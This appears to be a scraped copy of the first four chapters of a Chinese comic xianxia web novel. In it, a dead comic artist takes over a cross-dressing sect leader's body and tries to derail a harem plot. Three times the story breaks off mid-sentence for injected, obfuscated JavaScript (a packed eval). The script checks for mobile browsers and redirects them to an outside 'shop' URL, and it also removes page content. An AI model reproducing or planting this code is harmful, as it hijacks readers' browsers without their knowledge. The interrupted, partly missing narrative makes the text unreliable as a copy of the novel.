《爱徒今天纯爱了吗》 1. 第一章 天穹之下、山巅之上,悬浮着一座接天连云的宫宇。 它由金银、玉石、琉璃等一切人眼之中极尽豪奢之物堆砌而成,雕有四象图腾的天柱撑起栩栩若飞的檐角,玉阶彤庭、雕栋画梁。四下烟雾弥缭,更将此间衬托如瑶池仙境,只在山下遥遥相望,恍然若一轮山崖高衔的满月。 只一眼,就会让人生出顶礼膜拜的欲望。 通常来说,这样奢靡的宫殿在崇尚返璞归真的上修界里实属突兀。 但修士们都已见惯不惊,偶尔路过仰望此地,还会诚心诚意拜上三拜。 毕竟这里的主人并非普通大能。 而是合欢宗宗主、天字榜第二、渡劫前期,现已闭关千年的南离尊者。 关于这位尊者是何时诞生、何时成名、何时从天字榜上脱颖而出,现在的修士都已经没什么印象。 但所有人都知道尊者燕辞北生性乖张,哪怕闭关也闭在大伙的头顶之上。 “大师姐,不好了,听说与剑台的剑仙都出关了!” 清脆的呼唤穿过长廊,随着春风,一齐飘进了议事堂。 合欢宗并不繁荣,议事堂里无事可议,只坐着一道纤影。 端坐的凤衔玉听到呼唤,凤眸微抬,不悦地拧眉:“什么话?剑仙出关,修界共乐,怎么能说不好?” 小女修被她呵斥,垂着头连声认错。 殊不知,凤衔玉此刻心中一样满是无奈。 她何尝不理解小辈的心情? 自家尊者在时,风光也不逊剑仙,两人几乎是前后脚闭关。现在剑仙出关,甚至突破到渡劫中期,可以想见未来的与剑台有多得意。 反观她们满门女流,尊者留下坐镇的长老陆续陨落,如今正值凋敝。 只希望尊者久不出关不是遭了劫难。 否则合欢宗……这样逐水浮萍一般,只得依附其他宗门的日子,就真的望不到头了。 但作为尊者唯一在世的徒弟,她还得收拾心情,安抚年幼的小辈:“剑仙和尊者感情素好,他出关了,对我们百利而无一害。去库房挑几件贺礼,明早我亲自代尊者送去……” 话音未落,她发现小姑娘早就走了神,正看着堂外。 那双杏眼怔怔凝望着天际虬结的云彩,完全没有听进凤衔玉的安慰。 凤衔玉随之抬头,眼眉顿愕。 就在议事堂外,天端浮现出大片漩涡一般旋转聚拢的紫云。 不止她们,更多的人都注意到这异常的天象,已经自发跪了一地,朝着云上顶礼膜拜。 深邃的紫色被朝晖晒透,仿佛透出一股馨香,将那座众人只敢翘首跪拜的宫宇缓缓吞噬。 然而很快,四象天柱中属于朱雀的那一支遽然迸出耀眼的红光,如同新升旭日,穿透紫云,与太阳的光辉交成一片。 ——那是一只盘旋空中,尾羽华丽的朱雀。 雀喙唱出嘹亮的鸣叫,一时间,后山百鸟齐飞,唱鸣不息。 凤衔玉痴痴看了片刻,耳际传来宗门内阁巨钟震彻的传响。 她匆匆牵起还在呆滞中的小女修,不等后者追问,凤衔玉答:“快走,是师尊……出关了!” - 南离尊者燕辞北。 作为上修界唯一可以和剑仙比肩的修者,“她”曾以一己之力击破无数人对合欢宗的刻板印象。 火云为衣,眉眼若剑。 尊者遥遥站在屋脊之巅,百鸟破开层层火焰,殷勤相聚,都在尊者的身边贺喜。 数以千计的门徒在长老主持下飞快聚齐,叩拜之际,就像一叠叠推开的浪。 “恭贺宗主出关——” 万丈之下,众门徒屏息凝神。 她们大多已不是燕辞北以前的弟子,但对强者的敬畏都是一致的。 而今虽然好奇,也不敢抬头不敬尊者。 但是每个人的心中都满溢喜悦。 ——她们再也不是没有宗主的野门生了!去他爹的剑修医修妖修魔修,看今后谁还敢小看她们合欢宗!! - 燕北睁开眼的时候,入目就是这样的茫茫人海。 朦胧的记忆不剩多少,最清晰的部分就是他和老板在办公楼里大吵。 因为他们的原创漫画热度一路走低,老板决定腰斩,全工作室转向制作一部新兴网文的漫改。 身为主笔,燕北主动前去了解这部《第一鬼仙》。 然后他们就吵了起来。 原著作为一本男频后宫爽文,男主楚怜性格冷淡,不近女色,但偏偏女色近他。 楚怜受人奚落时,万年剑灵化形保护他; 楚怜血脉不稳时,合欢宗大师姐和他双修帮忙平息躁动; 楚怜身受重伤时,医圣爱女为他血溅长阶,求父亲出手挽救…… 总之,男主是不用动的,女配是主动上贴的:) 燕北:什么狗屁后宫文学! 给我改,全都给我改,还我朗朗乾坤、纯爱世界! 燕北无法理解,一个人尽可妻的种马男主怎么可能拥有良好的自律素养,还晋级为修真界的主人。 不存在的,这种管不住□□的家伙应该先给自己找个主人。 老板呵呵冷笑:“现在比较需要给我们工作室找个发钱的主人。” 燕北:“。” 转型后宫向乃是大势所趋,这一议案几个月前就已提出。 之前燕北顶着压力恳求老板让他再画几期,等自己的纯爱漫画走到高光剧情,他一定能夺回纯爱应有的热度。 他成功了。 他用努力和实力证明了,转型真的是大势所趋。 再画纯爱就真的要饿死啦!! “明早九点签合同,作为主笔,你也露个面吧。”老板苦口婆心,“别惦记你那破纯爱了,好好学习人家的创作思路,市场指哪,咱们画哪,懂不懂?” 再后来…… 燕北看了看自己的手。 那晚他失眠了整宿,天亮跟去签合同。 原著作者坐在对面夸夸其谈,眉飞色舞地分享说自家主角身上有东亚人才能欣赏的美,其他爽文男主是怪物、是沙文主义、是强权,他家楚怜不是,楚怜是顺从、是献身、是毁灭,是内心深处的自轻自贱,他是紫姬、是洛丽塔、是爱丽丝,是玛蒂尔达……① 老板赔笑:“对对对,燕北你听到没有?就照这个描述抓紧出一版楚怜人设。” 燕北:“……” 燕北张嘴想说出你大爷。 不料声未发而目先眩,天旋地转中,他感到自己正向后仰去,心脏跳得出奇得快,简直像在警告他生命的流逝就在须臾。 所以他八成是被玛蒂尔达,呸,男主楚怜,给气死了。 这会儿燕北拍拍脑袋,新身体的记忆开始断断续续涌入脑海。 按照燕北看网文的经验,他猜测原主可能受尽磋磨,希望由他接手,一雪前耻——但很快,这些记忆就纠正了他的猜测。 原主燕辞北,和他的本名只有一字之差,那是个一辈子风光无两、张扬跋扈的顶级修者。 有多顶级呢? 原燕北,现燕辞北仔细品了品。从记忆深处翻出了原主留下的小纸条: 【异世界的小孩,你死得刚好。我家小破宗缺人坐班,我先飞升,有劳你了。】 嗯,顶级就是原主已经飞升了。 但因为宗门需要一个大能坐镇,所以把濒死的燕北捞进壳子里代班。 - 朱雀的唳啸穿彻九霄,也叫回了燕北的意识。 仙乐起落、霞彩如飞。八方诵声呼唤着他的尊号,如流水汩汩漫入了耳蜗。 燕辞北欣然接受这次转生。 正好被老板炒了也没地就业,现在身体和岗位都有了,就算只为报答原主,燕辞北也非常愿意将余生奉献给这座“小破宗”。 燕辞北欣悦地抬手:“都起来吧,小破……” 后半句话噎在喉口。 他意识到,再缺德的宗主应该也不会真的给宗门取名“小破宗”。 燕辞北决定不耻下问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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合欢宗式微多时,这些年只有她一人掌持,心力不济也是难免。 现在尊者出关,凤衔玉越想越觉自责,自己没能照顾好门内老小,辜负长老、辜负尊者,哪里还有脸妄称“弟子”? 燕辞北倒是被她叫回了神,将目光投向凤衔玉,柔和些许。 朱长老在灵蝶里曾说,此女资质心性都是上乘,来日修途坦荡,定然不俗。 这不是很可惜的事吗? 如果没有男主,她本可以在师尊的引导下专心修途,假以时日,或自力飞升、或遇到一个情投意合、值得一生一世一双人的合契道侣。 “衔玉将宗门管理得很好,”燕辞北道,“为师是在欣慰。” 凤衔玉错愕地抬头,不敢相信自己听到的赞赏。 她再度垂首,脸上飞红,声音里却怀着无限憧憬和感激:“承、承蒙师尊夸奖,弟子羞愧!” 话虽如此,可她明明开心极了。 燕辞北笑笑,他当然清楚凤衔玉为了合欢宗付出多少。 原著的燕辞北只是作为凤衔玉的背景出现,他飞升太早,和男主完全没有交集。 凤衔玉委身男主,既有几分感情,更因为合欢宗急需一个强者作为依傍。男主虽然年轻,但确实前途无量,凤衔玉也算眼光独到。 只不过……她并不知道男主的血脉问题,更不知道男主后来会成为合欢宗灭门的直接推手。 好在现在都不一样了。 合欢宗的大家再也不用逞强,因为她们的强,来了!! 燕辞北心中某个念头就此扎根,俯瞰门徒,胸中生起豪情万丈。 没有人看见燕辞北眼底的变化,只听到穹顶飘渺的人声。 来自她们景仰的南离尊者:“即日起,我们改名。” “——纯爱宗。” 2. 第二章 不过宗派更名是件大事,还得从长计议。他现在最该做的是回房,好好检查一下他有没有少了什么,或者多出什么。 门生在凤衔玉的安排下各归各位,南离尊者出关的喜讯也依流程送去各个交好的门派。 而燕辞北很快确认好他的□□。 还在,安详且无碍。 燕辞北喜不自禁地穿回裙装,照着记忆里的手诀继续伪装声线。 合欢宗都是女修,原主生母也是合欢宗的一员,为了把原主留在宗内,索性让他一直女装。 时日久了,原主就不觉得什么。 因为他资质太好,不用合欢宗的功法也能一日千里,对男对女都无兴趣,自己是男是女也无所谓了。 燕辞北也没异议。 他是靠原主才捡回一条小命,女装而已,异装tag的纯爱神作多了去。 借由凤衔玉的介绍,燕辞北很快掌握了现在的境况。 原主闭关前,曾在合欢宗留下不少强者。但他实在闭关太久,那些长老或渡劫陨落、或寿元耗尽,合欢宗资质好些的门生,就剩下凤衔玉一根独苗。 不过瘦死的骆驼比马大,哪怕名列末位,合欢宗也有南离尊者坐镇,迄今还是上三宗之一。 排在前边的只有与剑台和蓬莱山。 与剑台专修剑法攻守,蓬莱山专修丹药医术。 合欢宗……以前专修男人,现在专修纯爱。 “同样是祖宗闭关,可比起咱们,与剑台就气派多了。” 有了燕辞北,凤衔玉终于卸去往日稳重沉闷的伪装,变得活泼不少。 提及与剑台,凤衔玉也掩不住话里微妙的嫉妒,“其实剑仙哪里有您厉害,当年闭关还敢和您打赌……” 与剑台和蓬莱山都会对外招新,而合欢宗不问根骨,只收孤女和门内女修的女儿,规模就显得小了不少。 但是聊起八卦,燕辞北的耳朵就支棱了:“什么赌?” 凤衔玉:“千年前,您二位立誓等闭关结束一较高下。输者要给赢家十万上品灵石。” 燕辞北:“?” 燕辞北当即挽起袖子:“不早说!走,干他!” - 除了找剑仙要钱,燕辞北还想起一件要紧事。 故事开篇,男主楚怜就是赶上了剑仙出关。 楚怜本是个修二代,天赋异禀,母族也很有些名望。 但楚家不知得罪了哪路仇敌,竟落得满门被灭,楚怜虽然留得一条性命,也被废了灵根,一时气派全无。 好在与剑台外门姑且收留了他。 不久,楚怜又得到机缘修复灵根,于是拜入剑仙门下。 也是剑仙的悉心栽培加快了楚怜的修炼步调,没多久,楚怜血脉觉醒,又成了与剑台的众矢之的,不得不借凤衔玉的关系到合欢宗避难。 可惜原著合欢宗也是狗眼看人低的主儿。 他们发现后立即驱逐了楚怜,甚至连坐凤衔玉。 于是楚怜一边觉醒一边砸了合欢宗。 用的还是剑仙教的那套剑法。 燕辞北觉得,如果要从根源解决问题,最温和的法子就是让楚怜拜师失败,错过剑仙,此后很多事件就不会发生。 这事不难,剑仙和他是好哥们,应该支会一声就行了。 况且这小老弟知道他出关了也不吱声,估计是看天象猜出了燕辞北的境界自己望尘莫及。 毕竟原主已经飞升,留下的壳子至少得是渡劫圆满半步飞升。 但想赖掉十万灵石? 不可能。他们纯爱宗正缺钱呢。 燕辞北的行动力向来很高,特别是关乎信仰的时候。 他特意不带凤衔玉,以免她在与剑台撞上男主,被命运驱使着一见钟情。 出发前燕辞北使了一只灵蝶通风报信,不久,剑仙回了信来,打着哈哈说:“你要来啊,我们讲不是说,不是说不欢迎,但是呢,没有说啊,没有任何一个人我们都说,一定怎么怎么欢迎,说不欢迎吗,也不是……” 燕辞北听一半就给掐了。 因为这时候他已经抵达与剑台的护山大阵。 入眼葱郁林木、朦胧云霭,和数千年前异军突起的合欢宗不同,与剑台建派早,选址佳,世世代代仙才辈出,是上修界颇负佳望的名门大派。 他们虽然以剑修闻名,但实际在阵法、宝器、驭兽等等领域也有建树。 因为学不好剑的都被打发去琢磨赚钱,帮能学好剑的攒钱养剑了。 南离尊者出行向来大张旗鼓,朱雀四乘才作驾辇、云霞万丈不够铺垫。 今天燕辞北倒来得静悄悄的,一路摸到大阵跟前,守阵的弟子才发觉异样,这还是因为燕辞北出声问路:“小友,剑仙洞府怎么走?” “……” 剑仙的灵蝶又飘来了:“愚兄这不就来了吗,你急啥眼呢?修大阵老贵了,别闯别闯,放她进来!” 燕辞北这才停下威胁的手诀,在守阵弟子的恭请下走进与剑台领域。 阵外的观感还只是乔饰,真正走入内里,燕辞北才意识到独占整片山脉的大门派果然很有底蕴。 可惜今天他不是游客,就算是,导游剑仙也没到位。 为了避免引起惊乱,燕辞北体贴地化作飞光遁走,不再问路,而是循着剑仙派遣的灵蝶去找剑仙。 但他很快就发现了不对。 与剑台是很大,可这灵蝶玩儿似的戏弄他,一座山头绕十次,一炷香的时间,方向感不差的燕辞北发现自己已经爬完三座山了。 燕辞北停了下来,面上假笑:“白、折、竹——” 这是剑仙的本名。 灵蝶扑棱着翅膀,连扇几下,传来剑仙哇呀哇呀的叫声。 然后“砰”地一下,灵蝶竟然在半空中散如萤火,碎却无痕。 十万灵石而已啊! 堂堂剑仙至于这样吗!! 燕辞北环顾四周,很好,深山老林、悬崖峭壁。 白折竹精心挑选了自己能想到的最荒僻的角落把他丢掉,虽然他明知渡劫圆满的大能一个响指,就能碾平与剑台十个山头。 估计单纯想拖延时间,这里肯定离白折竹的住所极远。 燕辞北对低智的哥们有些无言,掐个手诀,燕辞北准备靠灵蝶留下的痕迹直接揪出剑仙。 但这回打断他的不是白折竹,而是一阵纷乱的脚步。 还伴随着七嘴八舌的吵嚷: “你还当自己是什么世家子弟?楚家没啦!你舅舅你外公都死了,你还装什么清高,弄脏我的衣服,赶紧给我道歉!” “楚怜,与剑台可不是你家。你以前再娇贵,现在也就是个没灵根的废物。你跪下来磕个头,为以前的事道歉,我们念着同门一场,就不跟你计较了。” 燕辞北:“……” 校园霸凌这种事,真是从古至今一以贯之啊。 不过这个被霸凌的名字好像有点耳熟? 楚怜……楚……怜…… 燕辞北回忆一秒钟就记起来了——紫姬、爱丽丝、洛丽塔、玛蒂尔达! 呸,这是原著男主啊!! 他掐诀隐身遁迹不见,匿在风里旁观。 很快,十来个少年包围着一个,就这么推推搡搡地踱出林子。他们穿的都很朴素,应该是外门弟子,相较之下,被霸凌的男主就显得格格不入。 他虽然也穿麻木粗服,但气质卓尔不群。露出的皮相更是极尽精致,靡颜腻理,叫人挪不开眼。 此外,楚怜的腰间还悬挂了一块玉佩。 质地通透清澈,雕工精细绝伦,一看就价值不菲。 燕辞北知道,楚怜来到与剑台前,的确出身世家。 上修界除了门派,也有不少世代修行的家族。楚怜在灵根被废前也有天才之名,可以猜到当时在楚家的他有多得意。 也是因为这份出身,文里一直刻画楚怜如何如何的贵气、如何如何的讲究。 但在燕辞北看来,其实就是纯作。 而这些外门弟子似乎和他英雄所见略同,不同的一点就是他们还对楚怜随身的盘缠颇为垂涎,特别是那块玉佩。 “你把玉佩给我,我就不追究你弄脏我衣服了。”为首的弟子说。 燕辞北仗着隐身走到他们身边,随意地挑选着观赏角度。 他现在的角度距离楚怜非常地近,连他自己都没有注意到,他无意识地站在了楚怜和峭壁之间,双臂微张,时刻提防着楚怜跌坠。 虽然看男主吃瘪是很好玩,但霸凌还是不好,闹出事故更是蔫坏。 面对一群人的声讨,楚怜也没有辜负男主的定位。他甚至都不曾低下头颅,而是一直从容不迫、下颌微扬,像一只优雅的孔雀。 怎么说呢?这副姿态漂亮得刚好,也傲慢得刚好。 让燕辞北可以看清少年男主惊艳脱俗的面庞,也让心存怨恨的他人越发感受到楚怜的不屑和漠然。 男主就是男主,灰扑扑的麻布衣服挡不住绝代的风华。 他不愿和人争吵,不愿和人辩解,只在那些弟子蹬鼻子上脸向他靠拢的时候微微皱一下好看的眉。 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周围的人也立即围聚上前,七手八脚地想要撕开楚怜的桎梏。 但楚怜既不闪避,也不松手,保持着那副最让壮硕弟子讨厌的嘴脸,甚至攥住了他的衣领,朝着地上猛地一掼。 后背乃至后脑都痛得不行,壮硕弟子一睁眼,还正对着楚怜冰冷的神情。 他好像真的会……把自己一起拽下地狱。 壮硕弟子吓出一身虚汗,只剩下色厉内荏的威胁:“你敢碰我!与剑台有与剑台的规矩,你要是真的弄伤我,你也别想进内门!!” 楚怜的手这才一顿,状似惊奇:“你在威胁我?” 说着,他的唇弯竟然扬了起来,好像从这场压迫里品出乐趣,长眸微狭,凉薄而傲慢地笑问,“不会真以为与剑台能为了你们和我计较吧?就凭你们,也配和我相提并论?” 楚怜的长相实在是好,这副似笑非笑的表情又给他添了森森鬼气,就像地狱里刚爬出来,九成新。 其他人都不敢动了,因为楚怜和壮硕弟子距离悬崖边只剩两步不到。 他们不知道现在是该接着拉扯,还是认怂带着老大跑路。 而他们的老大,此刻面对着阴森森的楚怜一样说不出话。几度张口,又被楚怜扯着他的衣服往嘴一捂。 燕辞北觉得,他还在callback刚才的“口臭”。 燕辞北正犹豫着要不要现身,半空里突然杀出一只哇呀怪叫的灵蝶: “老妹啊不是愚兄故意丢你,愚兄就是刚出关忘手法了,真不是故意掐错——” 它显然不知道这里发生着什么。 壮硕弟子被它吓得一震,本能地猛一蹬腿。他和楚怜本就处于峭壁边缘,这一脚踹下了楚怜,他也被楚怜一齐拖拽着将要坠崖。 “老大!”外门弟子们匆匆忙忙地想要救他。 已经悬在崖外的楚怜皱着眉望去一眼。 太多人卷过来,让他不自觉松开了抓着壮硕弟子的手。 就在身体即将坠落的瞬间,却被另一只手果断牵住:“小心!” 是突然现身的燕辞北。 可是来不及回忆什么捞人的法诀,燕辞北牵住的手很快滑落,只剩尊老爱幼的本能驱使他随之一纵,跟着楚怜跳进了崖下的茫茫林海。 兵荒马乱中,灵蝶扑啦啦拍着翅膀。 对着空空如也,只有一群大眼瞪小眼的外门弟子的山崖,白折竹的蝶:“……老妹,人呢?” 3. 第三章 山崖下,瘦石嶙峋、荆棘林立。 让它们捅穿一个十八岁的少年,就像用刀切开一节小葱一样简单。 燕辞北毫不犹豫把人卷进怀里,古阵一触即发,坠落中的疾风犹如刀割一般锋利。 以燕辞北的修为自然不惮硬扛,但他记得此地。 原著称此为“风刀阵”,集千年灵蕴而成阵,闯阵者修为愈深,风刀愈厉。 很显然,渡劫期大能的造访逼出了风刀阵的全部潜力。 燕辞北很快拿定主意,对楚怜轻道一声:“闭眼。” 后者本就是被迫蜷在他的怀中,闻声堪堪抬头,尚无回应。 燕辞北信手弹出一点金光,遁入楚怜眉心,接着便顾不得他是什么神色,松开怀抱,目送楚怜朝着怪崖丛间直坠而去。 强烈的失重感让楚怜失神半晌,但和他预料中的抛弃不同。 他被金光托举着,稳稳当当飘落在一处支起的洞崖前。 接近他的风刀都比先前弱了数倍,即便贴身,也会被那股金光吞没——他知道,这是来自燕辞北的“庇佑”。 反观燕辞北的所在,风刀摧枯拉朽,空前激烈,一时间土石崩散、百鸟惊飞。 楚怜皱了皱眉,握紧掌中玉佩。 他不认识那个“女人”,但毫无疑问,那家伙是为了救他才会落入险境。 匆匆转首,楚怜打量起自己落脚的山洞。 就在洞门处立着一块石碑,老旧看不清字,但滚烫的玉佩告诉他,里面有他需要的东西。 他需要阵眼,一切阵法都有阵眼。 只要破坏风刀阵的阵眼,就能帮那个人脱身。 冰冷的烈风呼啸着涌出穴口,如一把淬血的刀,几乎将楚怜整个洞穿。 但楚怜只是凝视数息。 接着抬腿,没有一分迟疑地走了进去。 “喀——” 异样的动静钻进燕辞北的耳孔,同时,围剿他的风刀似乎有些后力不济。 燕辞北分神看一眼楚怜的方向,这一眼让他心惊肉跳,气势汹汹的狂风正在穴口酝酿,一场巨大的风暴顷刻就要降临。 显然是楚怜在洞穴里触发了什么机关。 来不及多想,燕辞北结罢手印,一拂袖,抢在飓风碾碎洞穴之前,将残存的刀形一齐绞灭。 略低眼,只见一个血糊糊的人影抱着什么东西,从山洞里滚了出来。 定睛一看,燕辞北才确认那是楚怜。 楚怜的血在地表一路蜿蜒,像一朵莲花。 而他抱着的似乎是一把断剑,看过原著的燕辞北知道,那就是风刀阵的阵眼。 燕辞北旋身落在楚怜身边,犹豫着是不是要先看看他的死活。 楚怜则早就睁开了眼,目光正落在那身因为取剑而越发残破的衣裳上,上边混了泥土、混了血污、混了汗液…… 楚怜的脸色越来越臭。 燕辞北忍着笑,顺手掐了个清洁诀。楚怜鲜血淋漓的身体立刻恢复原状,就连衣服都整洁一新。 “不客气。”不等楚怜开口,燕辞北主动接过话头。 楚怜僵了瞬间,冷冰冰地回复:“没谢你。” 不过燕辞北的注意力很快转向了楚怜手边的断剑。 那把剑就是原著里的第一个后宫。 一位合体期的剑修曾在此地陨落,这里留下了她的剑和毕生传承。 古剑饮血,万年化灵,原著楚怜赶上剑灵化形的好时候,小姑娘初入尘世、天真懵懂,毫不犹豫就跟在了楚怜身边。 原著里,楚怜就是有了传承和剑灵的帮助才得以顺利拜入剑仙门下。 楚怜也感受到他的目光。 随之低首,楚怜也看向断剑。 不等燕辞北开口,那把断剑已经被楚怜递到眼前:“你要它?拿走。” 燕辞北:“啊?” 说罢,楚怜还一副避嫌的样子,让开身形,露出敞开的洞口:“这里还有别的,你抓紧时间。” 燕辞北沉默的时间更久了。 谁准你小子把堂堂纯爱宗宗主当盗墓贼的! 他们宗穷志不穷,谁要偷与剑台的传承啊!! 可这处传承和这把剑可以说是楚怜成长的起点,没有这些,莫非他要开局一个人,升级全靠肝? 那块玉佩难道没告诉他这是多么重要的宝藏? “你知道里边的传承是什么境界吗?”燕辞北问。 楚怜的玉佩正烫得吓人,刚才也是玉佩提醒了他断剑的所在。 按照经验,玉佩越烫,意味着机缘越大。 但是,他不稀罕。 楚怜嗤之以鼻地偏过头去:“这些是你拼命得的,我从来不占别人的便宜。” 燕辞北笑了:“拼命?那是谁为了破阵,狼狈得变成个血人,却连清洁诀都掐不出来?不过合体期的传承,也值得人拼一次命。” 楚怜:“………” 小少爷的耳根有点泛红,对于燕辞北的小觑,他回以更加不悦的扭头。 但哪怕是心性过人的男主,听到“合体期”三个字,楚怜的瞳孔还是震了一震。 对炼气期的小孩来说,合体期是何其遥远的目标。 已经不是仰望了,而是幻想。 虽然修者都以飞升作为终极目标,但大家都很清楚,绝大部分终此一生,能到金丹甚至元婴就是万幸。 更别提楚怜刚被废了灵根。 不过楚怜的表情也仅仅是惊讶而已。 他没有露出任何后悔或者迟疑的神色,依然保持着那副眼高于顶的骄傲:“一个清洁诀也值得这么得意?回去了还你一百张上品清洁符咒。” 燕辞北对他有些刮目相看了。 至少楚怜很大方,哪怕楚家破败,他还是很有黑卡随便刷的沉着。 “我用不着这些东西。”燕辞北道,“但你的那个‘苍玄玉光’很有意思,如果是想报答我的救命之恩,就送我那个吧。” 真不是故意便宜男主,是合体期对他实在没用。 至于剑嘛,燕辞北犹豫过。 楚怜嗤一声,反手把剑推过来:“送你就送你,这剑你也收着。” 燕辞北:“不不不,你收下。” “这是你的。” “是你拔的。” 楚怜抬起头,不满地蹙起双眉:“你是嫌它丑吗?” 燕辞北:“……” 不然怎么说他犹豫过呢! 只剩半截剑锋,还挂着脏兮兮的土。楚怜拿它的姿势极其别扭,勉强提着,眉间眼底都是掩不去的嫌弃。 燕辞北也完全看不出这把剑有化灵的潜力。 会不会找错剑了? 现在的它,看上去只给人一个感觉:脏手。 楚怜从他的迟疑里得到了答案。 于是“当啷”一声,剑被楚怜随手丢在了地上:“算了,它配不上我,配你也远远不够,我再赔你一把好的。” 燕辞北:“………” 果然你也嫌弃才一直塞给我吗?! 不对,谁允许你这么说你老婆的啊一点也不像好老公!! 这回倒不止他想骂楚怜了,断剑掉地的瞬间,一声怒叫从剑身传了出来:“你才丑你才丑你才丑!你全家都丑你祖宗十八代丑丑丑丑丑——!!!” 是动漫里很常见的元气女声,符合燕辞北的预期。 不对,真是这把剑啊? 燕辞北低眼看向那把剑,后者正在地上撒泼一样滚来滚去,好几次都差点把土带到燕辞北的衣服上,土里还混着楚怜的血。 楚怜踢了一脚,让它滚得更远,和自己、及燕辞北都拉开距离:“妖精?” 剑:“老娘是剑灵!!信不信老娘化形给你看!!” 楚怜:“别化。” 剑:“知道害怕了?” 楚怜:“作为剑就已经有碍观瞻。” 燕辞北发现,跟楚怜一起,憋笑比挨打还难。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274500|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这小子总能把他不好意思说的都说出来。 剑灵气急败坏,大发雷霆,咿咿呀呀大叫一通:“我不要你碰我!我要姐姐,我要美女姐姐!你个小屁孩,根本不懂剑灵的珍贵,姐姐你看他!!!” 燕辞北听她闹了好半天才反应过来,他是姐姐。 咳嗽两声,燕辞北还是端起前辈架子:“剑灵的确罕见,于你一个炼气期的小弟子,算是梦寐难求的机缘。” 毕竟原主这么厉害的大佬都没有器灵,这种东西都是主角才有。 剑灵得意了:“听到没有!你捡到宝啦小屁孩!” 楚怜只是皱着眉打量,甚至不想弯腰去捡。 还是燕辞北掐诀把剑捡起,向楚怜递去。 但楚怜还是忍不住避开:“你在乎剑灵的话,等我回宗了请人重新熔铸剑形,应该不会坏了剑灵。” 燕辞北下意识接着他的话道:“那很贵吧?” 除了外形顺眼一点也没别的用处。 楚怜理所当然地答:“不客气,钱要花在刀刃上。” ……给剑整容算什么刀刃啊少爷? 还有,是连一句“不客气”都非要堵回来才满意吗? 燕辞北再次婉拒:“这把剑是你拔/出来的,剑灵也已认你为主,这是你的机缘。” 这回打断他的不是楚怜,而是剑灵: “我为什么要跟一个炼气期的小鬼?姐姐你不要我吗?姐姐,让我追随你啊漂亮姐姐——” 虽然还没有具体的形态,但剑身在他手上嗡嗡作响。 燕辞北好像已经看到了一个满地打滚的小姑娘。 楚怜也挺高兴:“看,它喜欢你。” 不合理,不合理不合理不合理。 难道他的一番行动已经改变了剧情?剑灵可以不进楚怜后宫? 那……更进一步,楚怜也可以不拜师剑仙,不觉醒血脉,不破坏纯爱宗?! “为什么?”燕辞北惊异地问,“你不觉得他长得漂亮、心性过人、很有潜力、未来不可限量吗?” 原著是这么写的才对啊! 剑灵的反应比他还要惊异:“我又不笨,姐姐也很漂亮,而且姐姐你是渡劫期啊!” ?! 作为女主之一怎么可以这么势利!! 这回楚怜倒是有了一些变化。 他的眸子终于流露讶色,不可思议地看向燕辞北:“你是渡劫……” 难怪她一眼看出这是合体期的传承,而且对剑灵和传承都那么平静。 但是渡劫期的大能不过一掌之数,这样作风的女修—— 一个答案浮上楚怜的心头: “既然是南离尊者,刚才那种程度的风刀阵应该易如反掌才对吧?” 燕辞北:“……本座喜欢低调。” 不过嘴硬归嘴硬,燕辞北注意到楚怜一直平视他的眼神有了一些闪避。 不再是刚才那样的傲慢,而是不自在的闪躲。包括黑发里红通通的耳尖,也在楚怜不太精湛的掩饰下更为明显。 毕竟就在刚才,燕辞北夸奖他“长得漂亮、心性过人、很有潜力、未来不可限量”。 楚怜感觉自己的玉佩空前炙热,比起此前任何一次机缘都要滚烫。 只能说……这女人有点眼光。 燕辞北不知道他在为什么害羞,转而看向剑灵: “既然你愿意跟着本座,那好吧。” 燕辞北也觉得和一个剑灵强调不为五斗米折腰有点愚蠢。 能收下剑灵,破坏她和楚怜的姻缘也是好事。只是对楚怜有些不公,洞府里那个传承他就绝对不会再要了。 燕辞北一弹指,洞内各色机关都被他轻易推平,只剩一条坦途。 接着,一团火飘浮在楚怜眼前,帮他照明前路。 楚怜张了张口,似乎又想拒绝。 “少嘴硬了。”燕辞北打断了他,“现在去收下传承吧,算本座报答你帮忙拔剑。” 4. 第四章(修) 原著楚怜接受传承时堪称凶险万分。 不过原著有剑灵为他护法,现在剑灵对楚怜观感不佳,燕辞北想了想,决定代她履职。 毕竟占了人家的剑灵,总不能真看着楚怜死在半路吧? 楚怜入定后,剑灵便偎在燕辞北的身边嘀咕:“主人和他又不是亲人又不是师徒,为什么对他这么好?” “除了亲人和师徒,就不能对人好了吗?”燕辞北慈爱地看她。 孩子,虽然男主是种马,但是你的爱意也是诚感天地。 他喜欢赤诚的纯爱,原著剑灵的表现绝对值得燕辞北对她高看一眼。 剑灵想了一会儿:“道侣?” 燕辞北唯恐她又燃起对楚怜的爱心,咳嗽着打断:“虽然只是萍水相逢,但他确实根骨不错。本座见不得后辈吃亏,能提携的,便搭一把手。” 虽然原著四五章的注水就被他一个弹指解决了。 但是传承本身也很艰难,如果楚怜熬不过去,燕辞北顶多只会保他一命。 现在端看楚怜作为气运之子的命够不够硬,略去诸多麻烦,是不是还能得到应有的好处。 剑灵钦佩地说:“主人真好!修界共主也不过这般胸襟。” 燕辞北差点被她呛住。 现在的上修界当然没有“共主”,上一任共主是鬼王,他把修者折磨得够呛,大伙连魔修都不计较了,好歹都是活人,大家同仇敌忾才封印了鬼王和鬼修。 后来就是正魔和解,并出“五贤”的时代。 